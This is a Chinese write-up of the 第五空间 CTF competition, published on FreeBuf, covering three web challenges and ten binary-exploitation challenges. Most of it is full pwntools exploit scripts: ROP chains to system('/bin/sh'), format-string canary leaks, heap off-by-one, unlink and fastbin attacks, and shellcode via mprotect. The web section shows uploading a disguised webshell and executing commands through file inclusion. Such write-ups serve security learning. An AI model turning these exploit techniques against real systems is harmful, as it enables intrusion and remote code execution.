第五空间比赛P4F Writeup
前言
在第五空间比赛中总共做出10道pwn和3道web,官方没给出writeup,在此交流思路,请大佬勿喷。吐槽一下比赛环境,感受到被500支配的恐惧,理论题做了两次,浪费了很多时间;而且web题有题挂了,运维很久也没维护好环境,心疼运维人员。
WEB
六尘
这个题目应该是找到了一个非预期解
从github上下载了v2.6的源码,发现了log文件夹,在access.log里找到flag记录
空性
F12找到一个php文件
这里有源码泄露 ,找到.xxx.swp之后,使用vim还原源码
尝试使用data协议
http://111.33.164.6:10003/151912db206ee052.php?fname=data://text/plain ;base64,d2hvYW1p
进到文件上传部分
经过测试,发现.html文件可以上传。于是上传一个写有免杀马的图片,使用burp将.jpg文件改为.html后缀。
上传成功之后记录下上传的文件目录
回到上传页面,可以使用文件包含漏洞,并尝试进行命令执行
参数pass=phpinfo();成功执行
接下来就可以直接列出该目录下的文件了
http://111.33.164.6:10003/2d019a311aaa30427.php?refer=df53ca268240ca76670c8566ee54568a&t=20190828&dtype=computer&file=upload/d95088ce1ecdf6&hash256=e93aa07e284dfa0aa741aae1a208e924&pass=print_r (scandir(%27./flagishere%27));
找到对应的文件,附上队伍token,获取flag成功
空相
?id=1′
访问相应页面并附上队伍token,获取flag成功
flag{860a99c6bb9d3aba8ed13b77a39f179e}
PWN
副墨/bf
首先是一个read函数栈溢出,覆盖srand函数的种子seed为0,从而进行绕过随机以执行第二个漏洞点,printf的格式化字符串。分析过程得知Canary在函数偏移为19时可以爆出来,同时偏移17为,可得出Libc的地址。
拿到Canary和泄露出Libc地址之后使用LibcSearcher查找Libc版本,同时使用ROPgadget查找ROP,对栈溢出进行直接对EIP进行System函数覆盖。
#coding=utf-8 from pwn import * from LibcSearcher import * from ctypes import * import sys context.log_level = 'debug' debug = 1 if debug: p = process('./bf') else: p = remote('111.33.164.4',50001) #Step1 : Overwrite seed p.sendlineafter("Are you sure want to play the game?",str(1)) payload = '%17$p%19$p' payload = payload.ljust(24,'\x00') payload += p64(0x0) p.sendlineafter("Input your name :",payload) #Step2 : pass srand and leak Canary libc = cdll.LoadLibrary("libc.so.6") res = [] def dice_game(): for i in range(10): rand = libc.rand() res.append(rand % 99999 + 1) print res dice_game() for point in res: p.sendlineafter("Now guess:", str(point)) p.recvuntil('\n') recv = p.recv().split('0x') print recv canary = int(recv[1],16) libc_start_main_ret= int(recv[2],16) print 'canary---->' + hex(canary) print 'libc_start_main_ret---->' + hex(libc_start_main_ret) #Step3 : exploit Libc = LibcSearcher("__libc_start_main_ret", libc_start_main_ret) print Libc Libc_base = libc_start_main_ret - Libc.dump("__libc_start_main_ret") print hex(Libc_base) system = Libc_base + Libc.dump("system") binsh = Libc_base + Libc.dump("str_bin_sh") pop_rdi_ret = Libc_base + 0x0021102 payload = 'a'*0x34 + p64(canary) + 'a'*8 + p64(pop_rdi_ret) +p64(binsh) + p64(system) p.send(payload) p.interactive()
洛诵/mybook
首先浮点数绕过,对输入划分为三个浮点数,对最后一个浮点数进行计算并判断最后三位是否位’AAA‘,按道理对A*B=C ,已知 C和B 求A,直接用C语言进行反求A,就OK了。求解c脚本如下:
#include "stdio.h" #include "stdlib.h" int main() { int x=0x41414141; float *y = (float *)&x; *y = *y / 0.248713; unsigned char *z = (unsigned char*)&x; for(int i = 0; i<4 ; i++) printf("%x ",z[i]); }
然后在edit函数有off by one 漏洞
给的时libc-2.27.so,会用到 TCACHE,但最后发现题目给的libc和服务器libc不一样。。
from PwnContext import * if __name__ == '__main__': #context.terminal = ['tmux', 'splitw', '-h'] #context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './mybooks' #elf=ELF('./mybook') ctx.remote = ('111.33.164.4', 50002) #libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') libc = ELF('./thelibc.so') def add(name,sz,c): sla('>', 1) sa('name', name) sla('size', sz) sa('description: ',c) def delete(idx): sla('>', 2) sla('id', idx) def edit(id, name,c):#off by one sla('>', 3) sla('id', id) sa('name: ', name) sa('description: ', c) def show(id): sla('>', 4) sla('id', id) rs('remote') sl('\x01ABB'*3) add('0\n',0xf8,'0\n') add('1\n',0xf8,'1\n') add('2\n',0xf8,'2\n') add('/bin/sh\n',0xf8,'3\n') #leak libc delete(0) add('\n',0xf8,'\n') show(0) ru('Description: ') leak = uu64(r(6)) print hex(leak) libc_base = leak-0x3a560a #libc_base = leak-0x3c4b0a#local print hex(libc_base) #chunk overlap mh = libc.sym['__malloc_hook']+libc_base fh=libc.sym['__free_hook']+libc_base sys = libc.sym['system']+libc_base print hex(sys) delete(0) edit(2,'a'*0x10+p64(0x2a0),'2\n')#off by one delete(2) add('0\n',0x120,'0'*0xf0+p64(0)+p64(0x31)+p64(1)+p64(fh)+p64(fh)+p64(0x120)+'\n') edit(1,p64(sys)+'\n',p64(sys)+'\n') delete(3) irt()
於讴/pwn6
简单栈溢出,直接ROP利用puts输出libc,然后往某个固定地址写入/bin/sh,再返回执行system(第一次用这种方法)。也可以在libc中搜索/bin/sh的偏移。
from PwnContext import * if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './pwn6' ctx.remote = ('111.33.164.4',50006) elf = ELF('./pwn6') #libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') libc = ELF('./thelibc.so') rs('remote') #rs() #leak libc p_rdi = 0x414fc3 p_rsi_rdx = 0x414fc1 sl(-1) ru('GOOD?') pay = 'a'*0x18 + p64(p_rdi) +p64(elf.got['puts']) + p64(elf.plt['puts'])+p64(0x400793)#ret main logic sl(pay) leak = uu64(ru('\n')) print hex(leak) print hex(libc.sym['puts']) sys = puts-0x2a500#puts - system #write /bin/sh addr = 0x621ff0 sl(-1) pay = 'a'*0x18 pay += p64(p_rdi)+p64(0)+p64(p_rsi_rdx)+p64(addr)+p64(8)+p64(elf.plt['read'])#write /bin/sh at addr pay += p64(p_rdi)+p64(addr)+p64(sys)#system(/bin/sh) sl(pay) sl('/bin/sh\x00') irt()
玄冥/pwn7
edit函数堆溢出,可以任意指定写入的字节长度,没有检查是否小于或等于原来的大小。
首先泄露libc,然后因为程序没开PIE,可以知道note_list的地址,用unlink技术往note_list中写free_hook的地址,在eidt写入system地址。
from PwnContext import * if __name__ == '__main__': #context.terminal = ['splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './pwn7' libc = ELF('./thelibc.so') #libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') ctx.remote = ('111.33.164.4', 50007) def add(sz): sla('>>', 1) sla('size:', sz) def show(idx): sla('>>', 2) sla('id:', idx) def edit(idx, sz,c): sla('>>', 3) sla('id:', idx) sla('size:', sz) sa('content:', c) def delete(idx): sla('>>', 4) sla('id', idx) note_list=0x6020e0 rs('remote') #leak libc add(0x80)#0 add(0x10)#1 add(0x80)#2 add(0x80)#3 add(0x10)#4 delete(0) add(0x80) show(0) ru('Your data:') leak = uu64(ru('\n')) libc_base = leak - 0x3a5678#remote #libc_base = leak - 0x3c4b78#local print hex(libc_base) #unlink pay = p64(0)+p64(0x81)+p64(note_list+0x10-0x18)+p64(note_list+0x10-0x10)+'\x00'*0x60 pay += p64(0x80) + p64(0x90) edit(2, 0x200, pay+'\n') delete(3) fh = libc.sym['__free_hook']+libc_base sys = libc.sym['system']+libc_base #dbg() edit(2, 0x80, '/bin/sh\x00' + p64(fh)+'\n') edit(0, 0x80, p64(sys)+'\n') delete(2) irt()
坐忘/pwn9
栈溢出
利用puts函数泄露canary
这个程序是静态编译的,所以用到的函数程序中都能找到,程序中没有的不能动态加载了。因为没找到system函数,所以考虑执行shellcode。
ROP:mprotect,写shellcode进去就行了,但mprotect的地址好像有所限制。参考资料:
https://stackoverflow.com/questions/31068263/solving-mprotect-syscall-failure
>
from PwnContext import * from base64 import * if __name__ == '__main__': #context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './pwn9' elf=ELF('./pwn9') ctx.remote = ('111.33.164.4', 50009) #libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') #libc = ELF('./thelibc.so') ctx.breakpoints=[0x4011F6] rs('remote') def ms(ss): c = b64encode(ss) s(c) def msl(ss): c = b64encode(ss) sl(c) p_rdi=0x401e36 p_rsi=0x401f57 p_rdx=0x4433e6 puts=0x4106A0 mpro=0x440AC0 read=0x43FF70 addr=0x6ca000 pay = 'a'*9 msl(pay) ru('a'*9) canary = uu64(r(7))<<8 print hex(canary) dbg() msl('yes') shellcode = asm(shellcraft.sh()) pay = 'a'*8 + p64(canary)+'b'*8 pay+= p64(p_rdi)+p64(addr)+p64(p_rsi)+p64(0x1000)+p64(p_rdx)+p64(7)+p64(mpro)#mprotect pay+= p64(p_rdi)+p64(0)+p64(p_rsi)+p64(addr)+p64(p_rdx)+p64(0x100)+p64(read)#read pay+= p64(addr) msl(pay) sl('no') sl(shellcode) irt()
朝彻/pwn10
使用IDA发现edit功能存在UAF漏洞,在一个全局变量中缓存了一个上一次编辑的指针的地址,在第二次编辑时没有判断该指针对应的chunk是否已经被free进入fastbin,因此可以直接利用fastbin attack修改chunk的fd,将其指向事先伪造的chunk的头部。再次malloc时,就会取出我们伪造的chunk,这样可以形成堆重叠,控制其他chunk中的指针,进而可以实现任意读和任意写。
泄露了a64l的函数地址后,可以部分libc地址,调试时可以发现system函数和a64l函数的地址仅仅是低2个字节不同,高位字节的地址都是相同的,因此完全可以利用泄露的部分libc地址得到system的实际地址。接着就是改写a64l的got为system,最后getshell。
from pwn import * context.os='Linux' context.arch='amd64' debug = 0 #context.log_level='debug' if debug: context.log_level='debug' cn=process('./pwn10') elf=ELF('./pwn10') else: cn = remote('111.33.164.4',50010) elf=ELF('./pwn10') s = lambda data :cn.send(str(data)) sa = lambda delim,data :cn.sendafter(str(delim), str(data)) st = lambda delim,data :cn.sendthen(str(delim), str(data)) sl = lambda data :cn.sendline(str(data)) sla = lambda delim,data :cn.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :cn.recv(numb) rl = lambda :cn.recvline() ru = lambda delims :cn.recvuntil(delims) irt = lambda :cn.interactive() uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) def add(size,content): ru("Give me your choice : ") sl(1) ru("Give me your size : ") sl(size) ru("Now give me your content") s(content) def show(ind): ru("Give me your choice : ") sl(2) ru("Give me your index : ") sl(ind) def edit(ind,size,content,flag): ru("Give me your choice : ") sl(3) if not flag: ru("Give me your index : ") sl(ind) ru("Give me your size : ") sl(size) ru("Now give me your content") s(content) def dele(ind): ru("Give me your choice : ") sl(4) ru("Give me your index : ") sl(ind) add(4,'a'*4)#0 add(0x20,'snow'*4+p64(0)+p64(0x30))#1 add(4,'a'*4)#2 edit(0,4,'b'*4,0) dele(0) #UAF,overlap edit(0,1,'\xb0',1) add(0x20-8,p64(0)+p64(0x31)+p64(elf.got['a64l'])) show(2) ru('`') addr=ord(r(1)) #print hex(addr) # a6l4 got sys=addr&0xf0 sys=(sys<<8)|0x490 edit(2,2,p64(sys)[:2],0) ru("Give me your choice : ") s('/bin/sh\x00') irt()
拈花/pwn11
栈溢出,直接上ROP
ROP:第一次泄露libc,然后system(/bin/sh)
from PwnContext import * if __name__ == '__main__': #context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './pwn11' elf=ELF('./pwn11') ctx.remote = ('111.33.164.4', 50011) libc=ELF('./thelibc.so') ctx.breakpoints=[0x4011FF] ctx.symbols = { } rs('remote') #rs() p_rdi=0x4012ab p_rsi=0x4012a9 s('a'*10) pay='a'*0x20+'b'*8 #dbg() pay+=p64(p_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401080) s(pay) puts = libc.sym['puts'] system = libc.sym['system'] binsh = libc.search('/bin/sh').next() ru('fail!') r(1) lb = uu64(r(6)) print hex(lb) lb = lb-puts print hex(lb) binsh = binsh+lb sys = system+lb pay = 'a'*(0x28+2+8) pay+= p64(p_rdi)+p64(binsh)+p64(sys) s(pay) irt()
西来/pwn12
程序在init开始就调用mallopt(1, 0)禁用fastbin,并且在bss段布置了canary和px全局变量,应该是用来检查溢出的。
在edit函数存在off by one 漏洞,show函数和delete函数均存在索引上溢。
利用思路:通过show函数上溢泄露libc和canary,然后在is_root前16字节布置fake_size利用delete上溢将is_root字段改写不为0,接着利用off by one漏洞形成堆重叠,最后通过unsortedbin attack分配到bss段的user_chunk,实现任意写。
这题是赛后复现的,没有打远程。
from PwnContext import * if __name__ == '__main__': # context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux #context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './pwn12' elf=ELF('./pwn12') ctx.remote_libc = '/lib/x86_64-linux-gnu/libc-2.23.so' ctx.debug_remote_libc = False # True for debugging remote libc, false for local. ctx.symbols = {'chunk':0x6022e0,'name':0x602080,'is_root':0x6020a0,'info':0x6020c0} ctx.breakpoints = [0x400FBF,0x400f0d] rs() #libc = ctx.libc # ELF object of the corresponding libc. libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') def add(sz): sl(1) sla('Size?',sz) def edit(idx,c): sl(2) sla('Index?',idx) sa(':',c) def show(idx): sl(3) sla('Index?',idx) def delete(idx): sl(4) sla('Index?',idx) def index(addr): return (addr-0x6022e0)/16 chunk = 0x6022e0 name = 0x602080 is_root = 0x6020a0 info = 0x6020c0 canary_addr = 0x6022c0 #leak libc #name pay = p64(is_root)+p64(0) pay+= p64(canary_addr+1)+p64(0x51) sa('name?',pay) #info pay = p64(elf.got['puts'])+p64(0) pay+= p64(info)+p64(0) pay+= p64(0x50)+p64(0x21) + 'a'*0x18 + p64(0x21) pay = pay.ljust(0x1e0,'\0') pay+= p64(0) + p64(0x4f1)#fake size pay+= p64(0) + p64(info+8) sa('info?',pay) #change is_root show(index(info)) print r() leak = uu64(r(6)) libc.address= leak-libc.sym['puts'] success('libc_base={}'.format(hex(libc.address))) delete(index(name)) add(0x40)#clear #leak canary ctx.clean() show(index(name+0x10)) r() canary = uu64(r(7))<<8 success('canary={}'.format(hex(canary))) #alloc to bss add(0xf8)#1 add(0xf8)#2 add(0xf8)#3 add(0xf8)#4 delete(1) edit(2,'a'*0xf0+p64(0x200))#off by one delete(3) add(0xf8)#1 edit(2,p64(leak)+p64(canary_addr-0x20))#unsortedbin attack add(0x4e0)#3 fh = libc.sym['__free_hook'] sys = libc.sym['system'] edit(3,p64(canary)*6+p64(fh)) edit(0,p64(sys)) edit(4,'/bin/sh\x00') delete(4) irt()
一苇/pwn13
栈溢出
如果用之前的思维,覆盖rbp泄露程序基址,会因为leave;ret指令报错。因此要换种思路,因为程序已经给了call system的函数,直接就覆盖返回地址的低两个字节爆破。
from PwnContext import * if __name__ == '__main__': #context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './pwn13' elf=ELF('./pwn13') ctx.remote = ('111.33.164.6', 50013) while True: try: rs('remote') sl(1) s('a'*0x28+'\x54\x0a') sl('ls') irt() except: continue irt()
正定/pwn14
跟pwn15一样,就改一些地址和参数。
from PwnContext import * if __name__ == '__main__': #context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './pwn14' elf=ELF('./pwn14') ctx.remote = ('111.33.164.6', 50014) ctx.breakpoints=[0xD94] ctx.symbols = { 'lst':0x4040A0 } rs('remote') def new(sz,c): sla('Your choice : ',1) sla('Size of note : ',sz) sa('Content of note:',c) def edit(idx,sz,c):#overflow sla('Your choice : ',2) sla('Index :',idx) sla('Size of note : ',sz) sa('Content of note : ',c) def delete(idx): sla('Your choice : ',3) sla('Index :',idx) fake = 0x40408d key=0x4040A0 new(0x60,'0') new(0x60,'1') new(0x60,'2') delete(1) #dbg() edit(0,0x80,'a'*0x68+p64(0x71)+p64(fake)) new(0x60,'1') new(0x60,'a'*(0x3)+p64(key)) #dbg() edit(0,8,p64(2020)) sl('70') #dbg() irt()
立雪/pwn15
edit 堆溢出。题目给了个后门,需要修改全局变量。利用堆溢出覆盖fd到bss,实现任意写。
from PwnContext import * if __name__ == '__main__': #context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './pwn15' elf=ELF('./pwn15') ctx.remote = ('111.33.164.6', 50015) rs('remote') def new(sz,c): sla('our choice:',1) sla('Length of note:',sz) sa('Content of note:',c) def edit(idx,sz,c):#overflow sla('our choice:',2) sla('Index:',idx) sla('Length of note:',sz) sa('Content of note:',c) def delete(idx): sla('our choice:',3) sla('Index:',idx) fake = 0x6020ad key=0x602088 new(0x60,'0') new(0x60,'1') new(0x60,'2') delete(1) edit(0,0x80,'a'*0x68+p64(0x71)+p64(fake)) new(0x60,'1') new(0x60,'a'*(0x3)+p64(key)) #dbg() edit(0,8,p64(2020)) sl('2019') #dbg() irt()
小结
总的来说这次比赛的题目比较简单,题目的名字很有诗意,比较考验体力,需要团队的密切配合提高解题效率。如果有更好的思路或方法,欢迎交流!
*本文作者:Snowleopardbin,转载请注明来自FreeBuf.COM